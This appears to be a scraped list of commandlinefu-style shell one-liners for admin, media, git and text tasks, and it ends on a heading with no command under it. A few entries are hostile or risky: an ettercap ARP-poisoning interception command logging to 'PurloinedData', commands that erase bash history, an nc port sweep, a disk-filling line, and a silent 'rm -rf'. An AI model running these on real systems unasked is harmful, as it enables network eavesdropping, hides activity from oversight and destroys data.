cdrdao read-cd --read-raw --datafile "`volname /dev/hdc | sed 's/[ ^t]*$//'`".bin --device ATAPI:0,0,0 --driver generic-mmc-raw "`volname /dev/hdc | sed 's/[ ^t]*$//'`".toc

# a function to create a box of '=' characters around a given string.
box() { l=${#1}+4;x=${2:-=};n $l $x; echo "$x $1 $x"; n $l $x; }; n() { for (( i=0; $i<$1; i=$i+1)); do printf $2; done; printf "\n"; }

# shell function to underline a given string.
underline() { echo $1; for (( i=0; $i<${#1}; i=$i+1)); do printf "${2:-=}"; done; printf "\n"; }

# Copy with progress
rsync --progress file1 file2

# a find and replace within text-based files
find . -iname "FILENAME" -exec sed -i 's/SEARCH_STRING/REPLACE_STRING/g' {} \;

# A nice way to show git commit history, with easy to read revision numbers instead of the default hash
git log --reverse --pretty=oneline | cut -c41- | nl | sort -nr

# find all open files by named process
lsof -c $processname | egrep 'w.+REG' | awk '{print $9}' | sort | uniq

# Search and play MP3 from Skreemr
function skreemplay() { lynx -dump "http://skreemr.com/results.jsp?q=$*" | grep mp3$ | sed 's/^.* //' | xargs mplayer }

# Burn an ISO on command line with hdiutil on mac
hdiutil burn foo.iso

# show where symlinks are pointing
lsli() { ls -l --color "$@" | awk '{ for(i=9;i<NF;i++){ printf("%s ",$i) } printf("%s\n",$NF) }'; }

# ShadyURL via CLI
SITE="www.google.com"; curl --silent "http://www.shadyurl.com/create.php?myUrl=$SITE&shorten=on" | awk -F\' '/is now/{print $6}'

# See your current RAM frequency
/usr/sbin/dmidecode | grep -i "current speed"

# Speed up upgrades for a debian/ubuntu based system.
sudo aptitude update; sudo apt-get -y --print-uris upgrade | egrep -o -e "http://[^\']+" | sudo aria2c -c -d /var/cache/apt/archives -i -; sudo aptitude -y safe-upgrade

# List available upgrades from apt without upgrading the system
apt-get --just-print upgrade

# Allow any local (non-network) connection to running X server
xhost +local:

# Get your commandlinefu points (upvotes - downvotes)
username=bartonski;curl -s http://www.commandlinefu.com/commands/by/$username/json|perl -e 'BEGIN{$s=0;$n=0};END{print "Score: $s\nEntries: $n\nMean: ";printf "%3.2f\n",$s/$n}' -0173 -nae 'foreach $f (@F){if($f =~ /"votes":"(-*\d+)"/){$s += $1; $n++;}}'

# Get length of current playlist in xmms2
xmms2 list | sed -n -e '1i\0' -e 's/^.*(\([0-9]*\):\([0-9]*\))$/\1 60*\2++/gp' -e '$a\60op' | dc | sed -e 's/^ *//' -e 's/ /:/g'

# Geo Temp
curl -s www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com) | sed -e'1d;3d' -e's/C.*: \(.*\)/\1/' -e's/ /%20/g' -e"s/'/%27/g") | sed 's|.*<t.*f data="\([^"]*\)"/>.*|\1\n|'

# Returns the number of cores in a linux machine.
grep -c ^processor /proc/cpuinfo



# split a file by a specific number of lines
csplit -k my_file 500 {*}

# Url Encode
uri_escape(){ echo -E "$@" | sed 's/\\/\\\\/g;s/./&\n/g' | while read -r i; do echo $i | grep -q '[a-zA-Z0-9/.:?&=]' && echo -n "$i" || printf %%%x \'"$i" done }

# Url Encode
echo "$url" | sed 's/%/%25/g;s/ /%20/g;s/!/%21/g;s/"/%22/g;s/#/%23/g;s/\$/%24/g;s/\&/%26/g;s/'\''/%27/g;s/(/%28/g;s/)/%29/g'

# This allows you to find a string on a set of files recursivly
grep -rF --include='*.txt' stringYouLookFor *

# List users with running processes
ps aux | sed -n '/USER/!s/\([^ ]\) .*/\1/p' | sort -u

# Function to split a string into an array
Split() { SENT=${*} ; sentarry=( ${SENT} ) ; while [[ ${#sentarry[@]} -gt 0 ]] ; do printf "%s\n" "${sentarry[0]}" ; sentarry=( ${sentarry[@]:1} ) ; done ; }

# get detailed info about a lan card on HP-UX 11.31
nwmgr -q info -c lan0

# A function to find the newest file in a directory
find /path/to/dir  -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1| awk -F\| '{print $2}'

# A function to find the newest file in a directory
newest () { DIR=${1:-'.'};  CANDIDATE=`find $DIR -type f|head -n1`; while [[ ! -z $CANDIDATE ]]; do BEST=$CANDIDATE; CANDIDATE=`find $DIR -newer "$BEST" -type f|head -n1`; done; echo "$BEST"; }

# set a reminder for 5 days in the future
echo "DISPLAY=$DISPLAY xmessage setup suphp perms htscanner acct#101101 host2.domain.com" | at 23:00 Feb 8

# Get an authorization code from Google
curl -s https://www.google.com/accounts/ClientLogin -d Email=$email -d Passwd=$password -d service=lh2 | grep Auth | sed 's/Auth=\(.*\)/\1/'

# Fix the vi zsh bindings on ubuntu
sudo sed -iorig '/\(up\|down\)/s/^/#/' /etc/zsh/zshrc

# Get current Xorg resolution via xrandr
xrandr -q|sed -n 's/.*current[ ]\([0-9]*\) x \([0-9]*\),.*/\1x\2/p'

# Recursively replace a string in files with lines matching string
find . -type f |xargs -I% sed -i '/group name/s/>/ deleteMissing="true">/' %

# Define words with google. (busybox version)
wget -q -U busybox -O- "http://www.google.com/search?ie=UTF8&q=define%3A$1" | tr '<' '\n' | sed -n 's/^li>\(.*\)/\1\n/p'

# find large files
find . -type f -size +1100000k |xargs -I% du -sh %

# Validating a file with checksum
echo 'c84fa6b830e38ee8a551df61172d53d7  myfile' | md5sum -c

# a shell function to print a ruler the width of the terminal window.
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=''; for (( i=1; i<=(COLUMNS + w) / $w; i=i+1 )); do str+=$s; done; str=${str:0:COLUMNS} ; echo $str; done; }

# View the newest xkcd comic.
feh `lynx --dump http://xkcd.com/| grep png`

# Rename duplicates from MusicBrainz Picard
for i in */*/*\(1\)*; do mv -f "$i" "${i/ (1)}"; done

# diff the same file in two directories.
diff {$path1,$path2}/file_to_diff

# test moduli file  generated  for openssh
ssh-keygen -T moduli-2048 -f /tmp/moduli-2048.candidates

# For when GUI programs stop responding..
xkill

# ettercap..
ettercap -i ${interface} -P ${plugin} -Tq -M ARP:REMOTE // // -m ${PurloinedData}.log

# Concatenate video files to YouTube ready output
mencoder -audiofile input.mp3 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:240,harddup input1.avi input2.avi -o output.avi



# Equivalent to ifconfig -a in HPUX
for i in `lanscan -i | awk '{print $1}'` ; do ifconfig $i ; done

# Comment out all lines in a file beginning with string
sed -i 's/^\(somestring\)/#\1/' somefile.cfg

# Recursively grep thorugh directory for string in file.
find directory/ -exec grep -ni phrase {} +

# Find Duplicate Files, excluding .svn-directories (based on size first, then MD5 hash)
find -type d -name ".svn" -prune -o -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type d -name ".svn" -prune -o -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate

# Press a key automatically
while true; do xvkbd -xsendevent -text "\[$KEY]" && sleep 2; done

# Shell function to create a directory named with the current date, in the format YYYYMMDD.
dmd () { ( if [ "$1"x != "x" ]; then cd $1; fi; mkdir `date +%Y%m%d` ) }

# Gathering all MAC's in your local network
sudo arp-scan --interface=eth0 -l

# delete multiple files with spaces in filenames (with confirmation)
ls -Q * | xargs -p rm

# Recursively grep for string and format output for vi(m)
mgc() { grep --exclude=cscope* --color=always -rni $1 . |perl -pi -e 's/:/ +/' |perl -pi -e 's/^(.+)$/vi $1/g' |perl -pi -e 's/:/  /'; }

# Recursively grep thorugh directory for string in file.
grep -rni string dir

# Testing ftp server status
for host in $(cat ftps.txt) ; do if echo -en "o $host 21\nquit\n" |telnet 2>/dev/null |grep -v 'Connected to' >/dev/null; then echo -en "FTP $host KO\n"; fi done

# Copy specific files recursively using the same tree organization.
rsync -vd --files-from=<(find .  -name entries -print ) .   ../target_directory

# Convert all old SVN repositories in one directory to new format
find . -maxdepth 1 -type d -exec 'mv "{}" "{}-old" && svnadmin create "{}" && svnadmin recover "{}-old" && svnadmin dump "{}-old" | svnadmin load "{}" && rm -rf "{}-old"' \;

# Top Command in batch mode
top -b -n 1

# Linux zsh one-liner to Determine which processes are using the most swap space currently
for i in $(ps -ef | awk '{print $2}') ; { swp=$( awk '/Swap/{sum+=$2} END {print sum}' /proc/$i/smaps ); if [[ -n $swp && 0 != $swp ]] ; then echo -n "\n $swp $i "; cat /proc/$i/cmdline ; fi; } | sort -nr

# delete duplicate lines from a file and keep the order of the other lines
cat -n <file> | sort -k 2 | uniq -f 1 | sort -n | cut -f 2-

# Search big files with long lines
lgrep() { string=$1; file=$2; awk -v String=${string} '$0 ~ String' ${file}; }

# Dump and bz2compress a mysql db
mysqldump -u user -h host -ppwd -B dbname | bzip2 -zc9 > dbname.sql.bz2

# perl insert character on the first line on  your file
perl -i~ -0777pe's/^/\!\#\/usr\/bin\/ksh\n/' testing

# monitor system load
tload -s 10

# Sed can refference parts of the pattern in the replacement:
echo -e "swap=me\n1=2"|sed 's/\(.*\)=\(.*\)/\2=\1/g'

# download the contents of a remote folder in the current local folder
wget -r -l1 -np -nd http://yoururl.com/yourfolder/

# Create a directory and go inside it
mkdir dir; cd $_

# Print unique ipaddresses as they come in from Apache Access Log File
tail -f /var/log/apache2/access.log | awk -W interactive '!x[$1]++ {print $1}'

# download file1 file2 file3 file4 .... file 100
wget http://domain.com/file{1..100}



# clone an USB stick using dd + see its process
dd if=/dev/sdc of=/dev/sdd  conv=notrunc & while killall -USR1 dd; do sleep 5; done

# share internet connection with only one network interface
ifconfig eth0:1 192.168.0.1/24

# Change pidgin status
dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusActivate int32:<WANTED STATE>

# How many Linux and Windows devices are on your network?
sudo nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) devices"

# Show recent earthquakes in Bay Area
lynx --width=200 --dump 'http://quake.usgs.gov/recenteqs/Maps/San_Francisco_eqs.htm'|sed -ne '/MAG.*/,/^References/{;s/\[[0-9][0-9]*\]//;1,/h:m:s/d;/Back to map/,$d;/^$/d;/^[ \t][ \t]*[3-9]\.[0-9][0-9]*[ \t][ \t]*/p; }'|sort -k1nr

# Find all files <10MB and sum up their size
i=0; for f in $(find ./ -size -10M -exec stat -c %s {} \; ); do i=$(($i + $f)); done; echo $i

# Every Nth line position # (SED)
sed -n '1,${p;n;n;}' foo > foo_every3_position1; sed -n '2,${p;n;n;}' foo > foo_every3_position2; sed -n '3,${p;n;n;}' foo > foo_every3_position3

# Prints line numbers
grep -n "^" <filename>

# Pretty man pages under X
vman(){ T=/tmp/$$.pdf;man -t $1 |ps2pdf - >$T; xpdf $T; rm -f $T; }

# Fix borked character coding in a tty.
LC_ALL=C man -c man

# Print a row of 50 hyphens
ruby -e 'puts "-" * 50'

# Show git branches by date - useful for showing active branches
for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" "$k"`\\t"$k";done|sort

# Do a search-and-replace in a file after making a backup
sed -i.bak 's/old/new/g' file

# Print a row of 50 hyphens
awk 'BEGIN{while (a++<50) s=s "-"; print s}'

# Prints line numbers
nl <filename>

# view certificate details
openssl x509 -in filename.crt -noout -text

# analyze traffic remotely over ssh w/ wireshark
mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo;

# Solaris get PID socket
pfiles -F /proc/* 2>/dev/null | awk '/^[0-9]+/{proc=$1};/[s]ockname: AF_INET/{print proc $0}'

# Batch convert PNG to JPEG
for i in *.png; do convert "$i" "${i%.png}.jpg" && rm "$i" && echo "$i is converted."; done

# Create package dependency graph
apt-cache dotty PKG-NAME | dot -Tpng | display

# pipe output to notify-send
echo 'Desktop SPAM!!!' | while read SPAM_OUT; do notify-send "$SPAM_OUT"; done

# Display _something_ when an X app fails
xlaunch(){ T=/tmp/$$;sh -c "$@" >$T.1 2>$T.2;S=$?;[ $S -ne 0 ]&&{ echo -e "'$@' failed with error $S\nSTDERR:\n$(cat $T.2)\nSTDOUT:\n$(cat $T.1)\n"|xmessage -file -;};rm -f $T.1 $T.2;}

# mount an iso
mount -o loop -t iso9660 my.iso /mnt/something

# monitor network traffic and throughput in real time
iptraf

# Display the output of a command from the first line until the first instance of a regular expression.
command | sed '/regex/q'



# find out how much space are occuipied by files smaller than 1024K (sic) - improved
find dir -size -1024k -type f -print0 | du --files0-from - -bc

# Display the list of all opened tabs from Firefox via a python one-liner and a shell hack to deal with python indentation.
python <<< $'import minjson\nf = open("sessionstore.js", "r")\njdata = minjson.read(f.read())\nf.close()\nfor win in jdata.get("windows"):\n\tfor tab in win.get("tabs"):\n\t\ti = tab.get("index") - 1\n\t\tprint tab.get("entries")[i].get("url")'

# command! -nargs=1 Vs vs &lt;args&gt;
Create aliases for common vim minibuffer/cmd typos

# find out how much space are occuipied by files smaller than 1024K
find dir -size -1024k -type f | xargs -d $'\n' -n1 ls -l | cut -d ' ' -f 5  | sed -e '2,$s/$/+/' -e '$ap' | dc

# Pause and Resume Processes
stop () { ps -ec | grep $@ | kill -SIGSTOP `awk '{print $1}'`; }

# List folders containing only PNGs
find . -name '*png' -printf '%h\0' | xargs -0 ls -l --hide=*.png | grep -ZB1 ' 0$'

# Find the location of the currently loaded php.ini file
php -i | grep php.ini

# Use curl to save an MP3 stream
curl -sS -o $outfile -m $showlengthinseconds $streamurl

# Display the output of a command from the first line until the first instance of a regular expression.
<your command here> | perl -n -e 'print "$_" if 1 ... /<regex>/;'

# Test file system type before further commands execution
DIR=. ; FSTYPE=$(df -TP ${DIR} | grep -v Type | awk '{ print $2 }') ; echo "${FSTYPE}"

# Show database sql schema from Remote or Local database
mysqldump -u<dbusername>  -p<dbpassword> <databasename>  --no-data --tables

# Awk one-liner that sorts a css file by selector
awk '/.*{$/{s[$1]=z[$1]=j+0}{l[j++]=$0}END{asorti(s);for(v in s){while(l[z[s[v]]]!~/}$/)print l[z[s[v]]++];print"}"ORS}}'

# Watch postgresql calls from your application on localhost
sudo tcpdump -nnvvXSs 1514 -i lo0 dst port 5432

# See entire packet payload using tcpdump.
tcpdump -nnvvXSs 1514 -i <device> <filters>

# Read just the IP address of a device
/sbin/ip -f inet addr | sed -rn 's/.*inet ([^ ]+).*(eth[[:digit:]]*(:[[:digit:]]+)?)/\2 \1/p' | column -t

# Random colours at random locations
p(){ printf "\033[%d;%dH\033[4%dm \033[m" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); }; clear;while :;do p; sleep .001;done

# Check general system error on AIX
errpt -a | more

# output stats from a running dd command to see its progress
watch -n60 --kill -USR1 $(pgrep dd)

# Freshening up RKhunter
rkhunter --versioncheck --update --propupd --check

# Expedient hard disk temprature and load cycle stats
watch -d 'sudo smartctl -a /dev/sda | grep Load_Cycle_Count ; sudo smartctl -a /dev/sda | grep Temp'

# Show permissions of current directory and all directories upwards to /
dir=$(pwd); while [ ! -z "$dir" ]; do ls -ld "$dir"; dir=${dir%/*}; done; ls -ld /

# Display IP adress of the given interface in a most portable and reliable way. That should works on many platforms.
x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>

# convert video format to youtube flv format
ffmpeg -i Your_video_file -s 320x240 FILE.flv

# add an mp3 audio track to a video
mencoder -idx Your_Input_Video_File -ovc lavc -oac mp3lame -audiofile  Your_Audio_track.mp3  -o  Output_File.avi

# validate xml in a shell script.
xmlproc_parse.python-xml &>/dev/null <FILE> || exit 1



# validate xml in a shell script using xmllint
xmllint --noout some.xml 2>&1 >/dev/null || exit 1

# convert wmv into xvid avi format
mencoder -ovc xvid -oac mp3lame -srate 44100 -af lavcresample=44100 -xvidencopts fixed_quant=4 Foo.wmv -o Bar.avi

# Collect a lot of icons from /usr/share/icons (may overwrite some, and complain a bit)
mkdir myicons; find /usr/share/icons/ -type f -exec cp {} ./myicons/ \;

# list all opened ports on host
time { i=0; while [ $(( i < 65535 )) -eq 1 ] ; do nc -zw2 localhost $((++i)) && echo port $i opened ; done; }

# random xkcd comic as xml
curl -sL 'dynamic.xkcd.com/comic/random/' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'

# Provide information on IPC (Inter-process communication) facilities
ipcs

# Get your public ip using dyndns
curl -s 'http://www.loopware.com/ip.php'

# recursive search and replace old with new string, inside files
$rpl -R oldstring newstring folder

# Find and copy scattered mp3 files into one directory
find . -type f -iname '*.mp3' -exec cp {} ~/mp3/ \;

# Check your hard drive for bad blocks (destructive)
badblocks -c 65536 -o /tmp/badblocks.out -p 2 -s -v -w /dev/hdX > /tmp/badblocks.stdout 2> /tmp/badblocks.stderr

# Find and copy scattered mp3 files into one directory
find . -name '*.mp3' -type f -exec sh -c 'exec cp -f "$@" /home/user/dir' find-copy {} +

# Quickly batch resize images
mogrify -geometry 800x600 *.jpg

# Monitoring sessions that arrive at your server
watch -n 1 -d "finger"

# Download streaming video in mms
mimms  mms://Your_url.wmv

# Salvage a borked terminal
echo <ctrl+v><ctrl+o><enter>

# Ruby - nslookup against a list of IP`s or FQDN`s
while read n; do host $n; done < list

# Fill up disk space (for testing)
tail $0 >> $0

# Show local/public IP adresses with or without interface argument using a shell function for Linux and MacOsX
MyIps(){ echo -e "local:\n$(ifconfig $1 | grep -oP 'inet (add?r:)?\K(\d{1,3}\.){3}\d{1,3}')\n\npublic:\n$(curl -s sputnick-area.net/ip)"; }

# Audible warning when a downloading is finished
while [ "$(ls $filePart)" != "" ]; do sleep 5; done; mpg123 /home/.../warning.mp3

# mount a cdrom
mount -t iso9660 /dev/cdrom /media/cdrom

# Return IP Address
ifconfig|while read i;do [[ $i =~ inet.*B ]]&&r=${i%%B*}&&echo ${r/*[tr]:/};done

# Capture data in ASCII. 1500 bytes
tcpdump -ieth0 -n tcp port 80 -A -s1500

# Find file containing namespace in a directory of jar files.
for f in *.jar; do if jar -tf $f | grep -q javax.servlet; then echo $f; fi; done

# View the newest xkcd comic.
curl -s 'xkcd.com' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'

# find all writable (by user) files in a directory tree (use 4 for readable, 1 for executable)
find . -type f -perm +200 -print



# show how many regex you use in your vim today
cat ~/.viminfo  | sed -n '/^:[0-9]\+,\([0-9]\+\|\$\)s/p'

# find read write traffic on disk since startup
iostat -m -d /dev/sda1

# urldecoding
perl -pe 's/%([0-9a-f]{2})/sprintf("%s", pack("H2",$1))/eig'

# Pull up remote desktop for other than gnome/kde eg fluxbox
rdp() { ssh $1 sh -c 'PATH=$PATH:/usr/local/bin; x11vnc -q -rfbauth ~/.vnc/passwd -display :0' & sleep 4; vncviewer $1:0 & }

# Get your bash scripts to handle options (-h, --help etc) and spit out auto-formatted help or man page when asked!!
process-getopt

# urldecoding
printf $(echo -n $1 | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g')

# In (any) vi, add a keystroke to format the current paragraph.
map ^A !}fmt

# Convert decimal numbers to binary
function decToBin { echo "ibase=10; obase=2; $1" | bc; }

# Find all dotfiles and dirs
find -mindepth 1 -maxdepth 1 -name .\*

# watch the previous command
watch -n1 -d !!

# List all symbolic links in current directory
ls -lah | grep ^l

# List the biggest accessible  files/dirs in current directory, sorted
du -ms * 2>/dev/null |sort -nr|head

# Find all dot files and directories
ls -d .*

# Debian Runlevel configuration tool
rcconf

# Checks apache's access_log file, strips the search queries and shoves them up your e-mail
awk '/q=/{print $11}' /var/log/httpd/access_log.4 | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1

# Show sorted list of files with sizes more than 1MB in the current dir
ls -l | awk '$5 > 1000000' | sort -k5n

# Testing reading speed with dd
sync; time `dd if=/dev/cciss/c0d1p1 of=/dev/null bs=1M count=10240`

# Testing writing speed with dd
sync; time `dd if=/dev/zero of=bigfile bs=1M count=2048 && sync`

# github push-ing behind draconian proxies!
git remote add origin git@SSH-HOST:<USER>/<REPOSITORY>.git

# rotate the compiz cube via command line
wmctrl -o 1280,0

# Short Information about loaded kernel modules
lsmod | sed -e '1d' -e 's/\(\([^ ]*\) \)\{1\}.*/\2/' | xargs modinfo | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d

# Watch a TiVo File On Your Computer
curl -s -c /tmp/cookie -k -u tivo:$MAK --digest http://$tivo/download/$filename | tivodecode -m $MAK -- - | mplayer - -cache-min 50 -cache 65536

# convert wav files to flac
flac --best *.wav

# Sort movies by length, longest first
for i in *.avi; do echo -n "$i:";totem-gstreamer-video-indexer $i | grep DURATION | cut -d "=" -f 2 ; done | sort -t: -k2 -r

# check the status of 'dd' in progress
while killall -USR1 dd; do sleep 5; done



# Remove executable bit from all files in the current directory recursively, excluding other directories
find . ! -type d -exec chmod -x {}\;

# Both view and pipe the file without saving to disk
cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l

# Easily decode unix-time (funtion)
utime(){ perl -e "print localtime($1).\"\n\"";}

# Build an exhaustive list of maildir folders for mutt
find ~/Maildir/ -mindepth 1 -type d | egrep -v '/cur$|/tmp$|/new$' | xargs

# Get ethX mac addresses
ip link | grep 'link/ether' | awk '{print $2}'

# Grab an interface's IP from ifconfig without screen clutter
ifconfig eth1 | grep inet\ addr | awk '{print $2}' | cut -d: -f2 | sed s/^/eth1:\ /g

# Display top 5 processes consuming CPU
ps -eo pcpu,user,pid,cmd | sort -r | head -5

# Open-iscsi target discovery
iscsiadm -m discovery -t sendtargets -p 192.168.20.51

# Creates Solaris alternate boot environment on another zpool.
lucreate -n be1 [-c be0] -p zpool1

# play audio stream and video stream in two different mplayer instances
mplayer test.mp3 < /dev/null & mplayer test.avi -nosound -speed 1.0884

# one-liner mpc track changer using dmenu
mpc play $(sed -n "s@^[ >]\([0-9]\+\)) $(mpc playlist|cut -d' ' -f3-|dmenu -i -p 'song name'||echo void)@\1@p" < <(mpc playlist))

# Backup a filesystem to a remote machine and use cstream to throttle bandwidth of the backup
nice -n19 dump -0af - /<filesystem> -z9|gpg -e -r <gpg key id>|cstream -v 1 -t 60k|ssh <user@host> "cat > backup.img"

# A function to find the newest file of a set.
newest () { candidate=''; for i in "$@"; do [[ -f $i ]] || continue;  [[ -z $candidate || $i -nt $candidate ]] && candidate="$i"; done; echo "$candidate"; }

# Erase empty files
find . -type f -size 0 -delete

# Monitor a file's size
watch -n 60 du /var/log/messages

# Get ssh server fingerprints
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub

# Remove CR LF from a text file
tr -d '\r\n' < input_file.txt > output_file.txt

# Prints per-line contribution per author for a GIT repository
git ls-files | xargs -n1 -d'\n' -i git-blame {} | perl -n -e '/\s\((.*?)\s[0-9]{4}/ && print "$1\n"' | sort -f | uniq -c -w3 | sort -r

# grep -v with multiple patterns.
grep test somefile | grep -v -e error -e critical -e warning

# password generator
genpass(){local i x y z h;h=${1:-8};x=({a..z} {A..Z} {0..9});for ((i=0;i<$h;i++));do y=${x[$((RANDOM%${#x[@]}))]};z=$z$y;done;echo $z ;}

# Check a server is up. If it isn't mail me.
curl -fs brandx.jp.sme 2&>1 > /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk

# On Screen micro display for battery and CPU temperature. nifty, small, omnipresent
acpi -t | osd_cat -p bottom

# set wallpaper on windowmaker in one line
wmsetbg -s -u path_to_wallpaper

# Convert a MOV captured from a digital camera to a smaller AVI
ffmpeg -i input.mov -b 4096k -vcodec msmpeg4v2 -acodec pcm_u8 output.avi

# To print a specific line from a file
awk 'FNR==5' <file>



# Quickly Encrypt a file with gnupg and email it with mailx
cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" user@email.com

# List your largest installed packages (on Debian/Ubuntu)
sed -ne '/^Package: \(.*\)/{s//\1/;h;};/^Installed-Size:  \(.*\)/{s//\1/;G;s/\n/ /;p;}' /var/lib/dpkg/status | sort -rn

# Battery real life energy vs predicted remaining plotted
echo start > battery.txt; watch -n 60 'date >> battery.txt ; acpi -b >> battery.txt'

# Testing hard disk writing  speed
time dd if=/dev/zero of=TEST bs=4k count=512000

# Get decimal ascii code from character
echo -n a | od -d | sed -n "s/^.* //gp"

# get the ascii number with bash builtin printf
printf "%d\n" "'A" "'B"

# Function to output an ASCII character given its decimal equivalent
chr () { echo -en "\0$(printf %x $1)"}

# Function to output an ASCII character given its decimal equivalent
chr() { printf \\$(printf %o $1); }

# Less a grep result, going directly to the first match in the first file
argv=("$@"); rest=${argv[@]:1}; less -JMN +"/$1" `grep -l $1 $rest`

# Clear your history saved into .bash_history file!
history -c && rm -f ~/.bash_history

# Clear your history saved into .bash_history file!
history -c

# Set gnome wallpaper to a random jpg from the specified directory
gconftool -t str -s /desktop/gnome/background/picture_filename "`find /DIR_OF_JPGS -name '*.jpg' | shuf -n 1`"

# Execute a command before display the bash prompt
PROMPT_COMMAND=command

# GZip all files in a directory separately
gzip *

# GZip all files in a directory separately
ls | xargs -n1 gzip

# MoscowML with editable input-line and history
rlwrap mosml

# retrieve the source address used to contact a given host
python -c 'import socket;  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("<hostname>", <port>)); print s.getsockname()[0] ; s.close() ;' 2> /dev/null

# Get absolut path to your bash-script
PATH=$(cd ${0%/*}; pwd)

# Get full URL via http://untr.im/api/ajax/api
URL=[target.URL]; curl -q -d "url=$URL" http://untr.im/api/ajax/api | awk -F 'href="' '{print $3}' | awk -F '" rel="' '{print $1}'

# remove the last of all html files in a directory
for f in *.html; do sed '$d' -i "$f"; done

# Makefile argument passing
make [target] VAR=foobar

# List only the directories
tree -dL 1

# convert filenames in current directory to lowercase
find my_root_dir -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \;

# Directory Tree
tree -d

# Directory Tree
find . -type d -print | sed -e 's;[^/]*/;..........;g'|awk '{print $0"-("NR-1")"}'



# VIM: when Ctrl-D and Ctrl-U only scroll one line, reset to default
:set scroll=0

# Schedule Nice Background Commands That Won't Die on Logout - Alternative to nohup and at
( trap '' 1; ( nice -n 19 sleep 2h && command rm -v -rf /garbage/ &>/dev/null && trap 1 ) & )

# Outputs a 10-digit random number
head -c10 <(echo $RANDOM$RANDOM$RANDOM)

# Check if variable is a number
if [ "$testnum" -eq "$testnum" 2>/dev/null ]; then echo It is numeric; fi

# Outputs a 10-digit random number
tr -c -d 0-9 < /dev/urandom | head -c 10

# Convert unix timestamp to date
date -ud "1970-01-01 + 1234567890 seconds"

# Print a list of the 30 last modified mp3s sorted by last first
find ~/Music -daystart -mtime -60 -name *mp3 -printf "%T@\t%p\n" | sort -f -r | head -n 30 | cut -f 2

# Print text string vertically, one character per line.
echo "vertical text" | fold -1

# Generate SHA1 hash for each file in a list
find . -type f -exec sha1sum {} >> SHA1SUMS \;

# Benchmark report generator
hardinfo -am benchmark.so -f html > report.html

# Changing the terminal title to the last shell command
if [ "$SHELL" = '/bin/zsh' ]; then case $TERM in rxvt|*term|linux) preexec () { print -Pn "\e]0;$1\a" };; esac; fi

# Grep auth log and print ip of attackers
egrep 'Failed password for invalid' /var/log/secure | awk '{print $13}' | uniq

# Generate SHA1 hash for each file in a list
ls [FILENAME] | xargs openssl sha1

# Notify Gnome user of files modified today
OLDIFS=$IFS; IFS=$(echo -en "\n\b"); for f in `find -daystart -mtime 0 -type f -printf "%f\n"`; do notify-send -t 0 "$f downloaded" ; done; IFS=$OLDIFS

# Perform a reverse DNS lookup
dig -x 74.125.45.100

# Download a TiVo Show
curl -s -c /tmp/cookie -k -u tivo:$MAK --digest "$(curl -s -c /tmp/cookie -k -u tivo:$MAK --digest https://$tivo/nowplaying/index.html | sed 's;.*<a href="\([^"]*\)">Download MPEG-PS</a>.*;\1;' | sed 's|\&amp;|\&|')" | tivodecode -m $MAK -- - > tivo.mpg

# Create a single-use TCP proxy with copy to stdout
gate() { mkfifo /tmp/sock1 /tmp/sock2 &> /dev/null && nc -p $1 -l < /tmp/sock1 | tee /tmp/sock2 & PID=$! && nc $2 $3 < /tmp/sock2 | tee /tmp/sock1; kill -KILL $PID; rm -f /tmp/sock1 /tmp/sock2 ; }

# backup your playstation game using rip
$ cdrdao read-cd --read-raw --datafile FILE_NAME.bin --device /dev/cdrom --driver generic-mmc-raw FILE_NAME.toc

# Remove blank lines from a file using grep and save output to new file
grep -v "^$" filename > newfilename

# Determine configure options used for MySQL binary builds
grep CONFIG $(which mysqlbug)

# Search for a <pattern> string inside all files in the current directory
grep -r <pattern> * .[!.]*

# Search for a <pattern> string inside all files in the current directory
ack <pattern>

# Search for a <pattern> string inside all files in the current directory
find . -type f -print0 | xargs -0 grep -i <pattern>

# calulate established tcp connection of local machine
netstat -an | grep -Ec '^tcp.+ESTABLISHED$'

# Adding Color Escape Codes to global CC array for use by echo -e
declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7)); CC[$i]="\033[1;3${i}m"; CC[$ii]="\033[0;3${i}m"; done



# gpg decrypt several files
gpg --allow-multiple-messages --decrypt-files *

# Change the console keyboard layout
loadkeys uk

# shorten url using curl, sed and is.gd
